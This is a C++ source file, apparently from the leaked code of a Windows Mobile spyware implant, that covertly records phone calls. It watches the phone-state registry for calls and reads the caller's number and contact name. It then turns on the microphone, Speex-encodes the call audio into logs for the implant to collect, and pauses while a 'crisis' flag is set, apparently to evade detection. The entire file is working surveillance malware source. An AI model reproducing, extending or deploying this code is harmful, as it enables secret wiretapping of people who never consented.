hackedteam/core-winmobile

View on GitHub
Mornella/Mornella_Mobile/RecordedCalls.cpp

Summary

Maintainability
Test Coverage
#include "Modules.h"
#include "Common.h"
#include "Module.h"
#include "Conf.h"
#include <exception>
#include <regext.h>

#include <mmsystem.h>
#include <winreg.h>
#include "CWaveForm.h"
#include "speex/speex.h"
#include "RecordedCalls.h"
#include "CallBacks.h"

BOOL bLocalCallIsrecording;
DWORD dwLocalCallBuffInCount;
WAVEHDR    tagLocalCallWaveHdr[LOCAL_CALL_COUNT_BUFF];
CWaveformIn *callObj;
WCHAR LocalCallPhoneNumber[PHONE_NUMBER_LEN]; // Contiene il numero di telefono
WCHAR LocalCallerName[256]; // Contiene il nome del chiamante in rubrica
WCHAR LocalCallerString[512]; // Contiene numero di telefono ed eventuale nome in rubrica

DWORD local_call_buffer_len = LOCAL_CALL_DEF_BUFFER_LEN;
DWORD local_call_compress_factor = LOCAL_CALL_DEF_COMPRESS_FACTOR; 

void SaveEncode(BYTE *wave, DWORD total_size)
{
    short *bit_sample;
    void *state;
    float *input;
    BYTE *to_write;
    BYTE *source_ptr;
    BYTE *cbits;
    SpeexBits bits;
    DWORD frame_size = 0;
    DWORD i, nbBytes;    
    DWORD complexity = 1;
    VoiceAdditionalData vad;
    Log log;

    // Crea un nuovo encoder in wide mode
    state = speex_encoder_init(speex_lib_get_mode(SPEEX_MODEID_NB));
    speex_encoder_ctl(state, SPEEX_SET_QUALITY, &local_call_compress_factor);
    speex_encoder_ctl(state, SPEEX_SET_COMPLEXITY, &complexity);
    speex_bits_init(&bits);
    speex_encoder_ctl(state, SPEEX_GET_FRAME_SIZE, &frame_size);

    if (!frame_size) {
        SPEEX_FREE;
        return;
    }

    // Allochiamo il buffer di output grande quanto quello originale (per sicurezza)
    if (!(to_write = new(std::nothrow) BYTE[frame_size * LOCAL_CALL_SAMPLE_SIZE])) {
        SPEEX_FREE;
        return;
    }
    cbits = to_write + sizeof(DWORD); // Punta al blocco dati, mentre la prima DWORD conterra' la dimensione

    // Allochiamo il buffer di elaborazione
    if (!(input = new(std::nothrow) FLOAT[frame_size])) {
        SAFE_DELETE(to_write);
        SPEEX_FREE;
        return;
    }

    unsigned __int64 stop_time = GetTime();
    unsigned __int64 tsize = total_size;

    vad.uVersion = CALL_LOG_VERSION;
    vad.uChannel = CHANNEL_INPUT;
    vad.uProgramType = LOGTYPE_CALL_MOBILE;
    vad.uSampleRate = CALL_SAMPLE_RATE | LOG_AUDIO_CODEC_SPEEX;
    vad.uIngoing = 0; // Non lo sappiamo per il momento
    vad.stop.dwHighDateTime = (DWORD)((stop_time & 0xffffffff00000000) >> 32);
    vad.stop.dwLowDateTime = (DWORD)(stop_time & 0x00000000ffffffff);
    
    stop_time -= (((tsize / 2) / CALL_SAMPLE_RATE) * 10000000);
    vad.start.dwHighDateTime = (DWORD)((stop_time & 0xffffffff00000000) >> 32);
    vad.start.dwLowDateTime = (DWORD)(stop_time & 0x00000000ffffffff);

    if (wcslen(LocalCallerName)) {
        wsprintf(LocalCallerString, L"%s (%s)", LocalCallPhoneNumber, LocalCallerName);
    } else {
        wsprintf(LocalCallerString, L"%s", LocalCallPhoneNumber);
    }

    vad.uCallerIdLen = 0; // Non lo sappiamo per il momento
    vad.uCalleeIdLen = WideLen(LocalCallerString);    

    BYTE *pData = new(std::nothrow) BYTE[sizeof(vad) + vad.uCalleeIdLen + vad.uCallerIdLen];

    if (pData == NULL) {
        SAFE_DELETE(to_write);
        SAFE_DELETE(input);
        SPEEX_FREE;
        return;
    }

    ZeroMemory(pData, sizeof(vad) + vad.uCalleeIdLen + vad.uCallerIdLen);

    BYTE *pTmp = pData;
    CopyMemory(pData, &vad, sizeof(vad));
    pTmp += sizeof(vad);

    // Non ce l'abbiamo ancora
    if (vad.uCallerIdLen) {
        //memcpy(pTmp, )
    }

    if (vad.uCalleeIdLen) {
        CopyMemory(pTmp, LocalCallerString, WideLen(LocalCallerString));
    }

    if (log.CreateLog(LOGTYPE_CALL, pData, sizeof(vad) + vad.uCalleeIdLen + vad.uCallerIdLen, MMC1) == FALSE) {
        SAFE_DELETE(to_write);
        SAFE_DELETE(input);
        delete[] pData;
        SPEEX_FREE;
        return;
    }

    delete[] pData;

    // Continua finche' dopo source_ptr non rimane ancora spazio per un frame intero
    for (source_ptr=wave; source_ptr+(frame_size*LOCAL_CALL_SAMPLE_SIZE)<=wave+total_size; source_ptr+=(frame_size*LOCAL_CALL_SAMPLE_SIZE)) {
        // Copiamo i campioni a 16 bit dentro dei float
        bit_sample = (short *)source_ptr;
        for (i=0; i<frame_size; i++)
            input[i] =  bit_sample[i];

        speex_bits_reset(&bits);
        speex_encode(state, input, &bits);
        // Encoda dentro il buffer di output
        nbBytes = speex_bits_write(&bits, (char *)cbits, frame_size*LOCAL_CALL_SAMPLE_SIZE);
        if (nbBytes > (frame_size*LOCAL_CALL_SAMPLE_SIZE))
            continue; // Check paranoico

        // Copia la lunghezza nei primi 4 byte per fare un unica scrittura su file
        CopyMemory(to_write, &nbBytes, sizeof(DWORD)); 
        log.WriteLog(to_write, nbBytes + sizeof(DWORD));
    }

    log.CloseLog();
    SAFE_DELETE(to_write);
    SAFE_DELETE(input);
    SPEEX_FREE;
}


void CALLBACK LocalCallWaveInProc(HWAVEIN hwi, UINT uMsg, DWORD dwInstance, WAVEHDR *dwParam1, DWORD dwParam2)
{
    if (uMsg == MM_WIM_DATA) {
        if (dwParam1->dwBytesRecorded > 0)
            SaveEncode((BYTE *)dwParam1->lpData, dwParam1->dwBytesRecorded);

        if (bLocalCallIsrecording) {
            waveInUnprepareHeader(hwi, dwParam1, sizeof(WAVEHDR));

            dwParam1->dwFlags = 0;
            dwParam1->dwBytesRecorded = 0;
            waveInPrepareHeader(hwi, dwParam1, sizeof(WAVEHDR));
            waveInAddBuffer(hwi, dwParam1, sizeof(WAVEHDR));
        } else {
            dwLocalCallBuffInCount++;    
        }
    }
}


BOOL RecordStop(BOOL is_finished)
{
    FILETIME ft;
    SYSTEMTIME st;
    VoiceAdditionalData vad;
    Log log;

    if (callObj == NULL)
        return FALSE;

    bLocalCallIsrecording = FALSE;
    callObj->Reset();

    // Aspetta che abbia flushato i buffer
    while (dwLocalCallBuffInCount < LOCAL_CALL_COUNT_BUFF)
        Sleep(500);

    // Inserisce i tag di fine chiamata
    if (is_finished) {
        GetSystemTime(&st);
        SystemTimeToFileTime(&st, &ft);

        vad.uVersion = CALL_LOG_VERSION;
        vad.uChannel = CHANNEL_INPUT;
        vad.uProgramType = LOGTYPE_CALL_MOBILE;
        vad.uSampleRate = CALL_SAMPLE_RATE | LOG_AUDIO_CODEC_SPEEX;
        vad.uIngoing = 0; // Non lo sappiamo per il momento
        vad.stop.dwHighDateTime = ft.dwHighDateTime;
        vad.stop.dwLowDateTime = ft.dwLowDateTime;
        vad.start.dwHighDateTime = ft.dwHighDateTime;
        vad.start.dwLowDateTime = ft.dwLowDateTime;

        wsprintf(LocalCallerString, L"%s (%s)", LocalCallPhoneNumber, LocalCallerName);

        vad.uCallerIdLen = 0; // Non lo sappiamo per il momento
        vad.uCalleeIdLen = WideLen(LocalCallerString);

        BYTE *pData = new(std::nothrow) BYTE[sizeof(vad) + vad.uCalleeIdLen + vad.uCallerIdLen];

        if (pData == NULL) {
            delete callObj;
            callObj = NULL;
            return FALSE;
        }

        ZeroMemory(pData, sizeof(vad) + vad.uCalleeIdLen + vad.uCallerIdLen);

        BYTE *pTmp = pData;
        CopyMemory(pData, &vad, sizeof(vad));
        pTmp += sizeof(vad);

        // Non ce l'abbiamo ancora
        if (vad.uCallerIdLen) {
            
        }

        if (vad.uCalleeIdLen) {
            CopyMemory(pTmp, LocalCallerString, WideLen(LocalCallerString));
        }

        UINT dummy = 0xFFFFFF;

        if (log.CreateLog(LOGTYPE_CALL, pData, sizeof(vad) + vad.uCalleeIdLen + vad.uCallerIdLen, MMC1)) {
            log.WriteLog((BYTE *)&dummy, sizeof(UINT));
        }

        log.CloseLog();

        delete[] pData;
    }

    callObj->Close();

    for (int j = 0; j < LOCAL_CALL_COUNT_BUFF; j++) {
        callObj->UnprepareHeader(&(tagLocalCallWaveHdr[j]), sizeof(WAVEHDR));
        SAFE_FREE(tagLocalCallWaveHdr[j].lpData);
    }

    delete callObj;
    callObj = NULL;
    return TRUE;
}

BOOL RecordStart()
{
    WAVEFORMATEX in_pcmWaveFormat;
    CWaveform wave;
    UINT count = CWaveform::InGetNumDevs();

    dwLocalCallBuffInCount = 0;

    for (UINT i = 0; i < count && callObj == NULL; i++) {
        WAVEINCAPS wic;

        CWaveform::InGetDevCaps(i, &wic, sizeof(WAVEINCAPS));
        if (wic.dwFormats & WAVE_FORMAT_1M16) {
            ZeroMemory(&in_pcmWaveFormat, sizeof(WAVEFORMATEX));
            CWaveform::PrepareWaveFormat(&in_pcmWaveFormat, WAVE_FORMAT_PCM, 1, CALL_SAMPLE_RATE, 16);
            callObj = wave.InOpen(i, &in_pcmWaveFormat, (DWORD_PTR) LocalCallWaveInProc, 0, CALLBACK_FUNCTION);
        }
    }

    if (callObj == NULL) 
        return FALSE;

    ZeroMemory(tagLocalCallWaveHdr, sizeof(tagLocalCallWaveHdr));
    for (UINT j = 0; j < LOCAL_CALL_COUNT_BUFF; j++) {
        tagLocalCallWaveHdr[j].dwBufferLength = local_call_buffer_len;
        tagLocalCallWaveHdr[j].dwLoops = 1;
        // Alloca i buffer di registrazione e li prepara
        if ( !(tagLocalCallWaveHdr[j].lpData = (char *)new(std::nothrow) CHAR[tagLocalCallWaveHdr[j].dwBufferLength]) )  {
            for (UINT k = 0; k < j; k++) {
                SAFE_DELETE(tagLocalCallWaveHdr[k].lpData);
            }

            callObj->Close();
            delete callObj;
            callObj = NULL;
            return FALSE;
        }
    }

    for (UINT j = 0; j < LOCAL_CALL_COUNT_BUFF; j++) { 
        callObj->PrepareHeader(&(tagLocalCallWaveHdr[j]), sizeof(WAVEHDR));
        callObj->AddBuffer(&(tagLocalCallWaveHdr[j]), sizeof(WAVEHDR));
    }

    bLocalCallIsrecording = TRUE;
    callObj->Start();

    return TRUE;
}

DWORD WINAPI RecordedCalls(LPVOID lpParam) {
    Module *me = (Module *)lpParam;
    Configuration *conf = me->getConf();
    HANDLE eventHandle;

    HKEY hPhoneState;
    DWORD dwType = 0;
    WCHAR szData[PHONE_NUMBER_LEN], szName[400];
    DWORD cbData = 0;
    BOOL bCallStatus = FALSE, bCrisis = FALSE, bPrevState = FALSE;
    Device *deviceObj = Device::self();
    Status *statusObj = Status::self();
    HREGNOTIFY hNotify;
    HRESULT hRes;

    try {
        local_call_buffer_len = (DWORD)conf->getInt(L"buffer");
    } catch (...) {
        local_call_buffer_len = 524288;
    }

    try {
        local_call_compress_factor = (DWORD)conf->getInt(L"compression");
    } catch (...) {
        local_call_compress_factor = 5;
    }

    me->setStatus(MODULE_RUNNING);
    eventHandle = me->getEvent();

    DBG_TRACE(L"Debug - RecordedCalls.cpp - Call Module started\n", 5, FALSE);

    bLocalCallIsrecording = FALSE;
    callObj = NULL;

    ZeroMemory(LocalCallPhoneNumber, sizeof(LocalCallPhoneNumber));
    ZeroMemory(LocalCallerName, sizeof(LocalCallerName));
    ZeroMemory(LocalCallerString, sizeof(LocalCallerString));
    ZeroMemory(szName, sizeof(szName));

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"System\\State\\Phone", 0, 0, &hPhoneState) != ERROR_SUCCESS) {
        me->setStatus(MODULE_STOPPED);
        return 0;
    }

    // Se la chiamata e' gia' in corso la callback non verra' notificata, quindi checkiamo da noi il valore
    FILETIME ft = {0};
    cbData = sizeof(ft);

    if (RegQueryValueEx(hPhoneState, L"Call Start Time", NULL, &dwType, (LPBYTE) &ft, &cbData) == ERROR_SUCCESS) {
        bCallStatus = TRUE;
    }

    hRes = RegistryNotifyCallback(hPhoneState, NULL, L"Call Start Time", CallBackNotification, 
                                    (DWORD)&bCallStatus, NULL, &hNotify);

    if (hRes != S_OK) {
        me->setStatus(MODULE_STOPPED);
        return 0;
    }

    LOOP {
        // Valorizziamo il flag di crisi
        if ((statusObj->Crisis() & CRISIS_CALL) == CRISIS_CALL) {
            bCrisis = TRUE;
        } else {
            bCrisis = FALSE;
        }

        while (bCrisis) {
            DBG_TRACE(L"Debug - RecordedCalls.cpp - Call Module is in crisis\n", 6, FALSE);

            if (bCallStatus) {
                bCallStatus = FALSE;
                RecordStop(TRUE);
                ZeroMemory(LocalCallPhoneNumber, sizeof(LocalCallPhoneNumber));
                deviceObj->ReleaseMicPowerState();
            }

            WaitForSingleObject(eventHandle, 10000);

            if (me->shouldStop()) {
                DBG_TRACE(L"Debug - Microphone.cpp - Microphone Module clean stop while in crisis [0]\n", 5, FALSE);
                RegistryCloseNotification(hNotify);
                RegCloseKey(hPhoneState);
                me->setStatus(MODULE_STOPPED);
                return 0;
            }

            if ((statusObj->Crisis() & CRISIS_CALL) != CRISIS_CALL) {
                bCrisis = FALSE;
            }
        }

        if (bPrevState != bCallStatus) {
            bPrevState = bCallStatus;

            if (bPrevState) { // Chiamata in corso!
                ZeroMemory(szData, sizeof(szData));
                ZeroMemory(szName, sizeof(szName));
                cbData = sizeof(szData) - 1;
                RegQueryValueEx(hPhoneState, L"Caller Number", NULL, &dwType, (LPBYTE) &szData, &cbData);
                bCallStatus = TRUE;
                wcscpy_s(LocalCallPhoneNumber, PHONE_NUMBER_LEN, szData);
                cbData = sizeof(szName) - 1;
                RegQueryValueEx(hPhoneState, L"Caller Name", NULL, &dwType, (LPBYTE) &szName, &cbData);
                wcscpy_s(LocalCallerName, 256, szName);

                deviceObj->SetMicPowerState();
                RecordStart();    
            } else { // Chiamata terminata!
                bCallStatus = FALSE;
                RecordStop(TRUE);
                ZeroMemory(LocalCallPhoneNumber, sizeof(LocalCallPhoneNumber));
                deviceObj->ReleaseMicPowerState();
            }
        }

        WaitForSingleObject(eventHandle, 10000);

        if (me->shouldStop()) {
            if (bCallStatus) {
                RecordStop(FALSE);
                ZeroMemory(LocalCallPhoneNumber, sizeof(LocalCallPhoneNumber));
                deviceObj->ReleaseMicPowerState();
            }

            RegistryCloseNotification(hNotify);
            RegCloseKey(hPhoneState);

            me->setStatus(MODULE_STOPPED);
            DBG_TRACE(L"Debug - RecordedCalls.cpp - Call Module clean stop\n", 5, FALSE);
            return 0;
        }
    }

    return 0;
}